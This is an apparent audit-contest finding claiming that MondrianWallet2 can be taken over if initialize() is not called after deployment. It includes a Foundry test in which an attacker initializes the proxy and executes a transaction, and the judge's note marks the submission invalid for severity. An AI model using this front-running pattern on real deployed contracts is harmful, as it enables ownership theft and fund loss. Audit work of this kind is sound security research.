Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Risk of losing ownership if contract is not initialized after deployment

Summary

Contract owner in risk of losing ownership if function initialize is not called right after deployment

Vulnerability Details

If function MondrianWallet2::initialize is not called right after deployment, the contract ownership can be claimed by an attacker which will enable attacker to also call function executeTransaction that carrying the risk of draining orginal owner's fund or exploit original owner's reputation for executing or approve certain malicious transactions.

Proof of Concept:

In the file test/ModrianWallet2Test.t.sol, comment out the initization codes in the setUp function and add new test testInitializationAndOwnershipClaimedByAttacker:

function setUp() public {
implementation = new MondrianWallet2();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
mondrianWallet = MondrianWallet2(address(proxy));
// mondrianWallet.initialize();
// mondrianWallet.transferOwnership(ANVIL_DEFAULT_ACCOUNT);
usdc = new ERC20Mock();
vm.deal(address(mondrianWallet), AMOUNT);
}
...
function testInitializationAndOwnershipClaimedByAttacker() public {
// Arrange
address attacker = makeAddr("Attacker");
address dest = address(usdc);
uint256 value = 0;
bytes memory functionData = abi.encodeWithSelector(ERC20Mock.mint.selector, address(mondrianWallet), AMOUNT);
Transaction memory transaction =
_createUnsignedTransaction(mondrianWallet.owner(), 113, dest, value, functionData);
// Act
vm.startPrank(attacker);
mondrianWallet.initialize();
mondrianWallet.executeTransaction(EMPTY_BYTES32, EMPTY_BYTES32, transaction);
// Assert
assertEq(usdc.balanceOf(address(mondrianWallet)), AMOUNT);
}

The test will pass indicating that attacker can indeed claim contract ownership by initializing the contract before original owner makes the functional call after deployment

Impact

Losing ownership of the wallet causing fund loss and impact on owner's reputation due to malicious transactions

Tools Used

Manual review

Recommendations

Implement strict access controls and authentication mechanisms to reduce chances where someone other than the deployer could attempt to initialize the contract.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.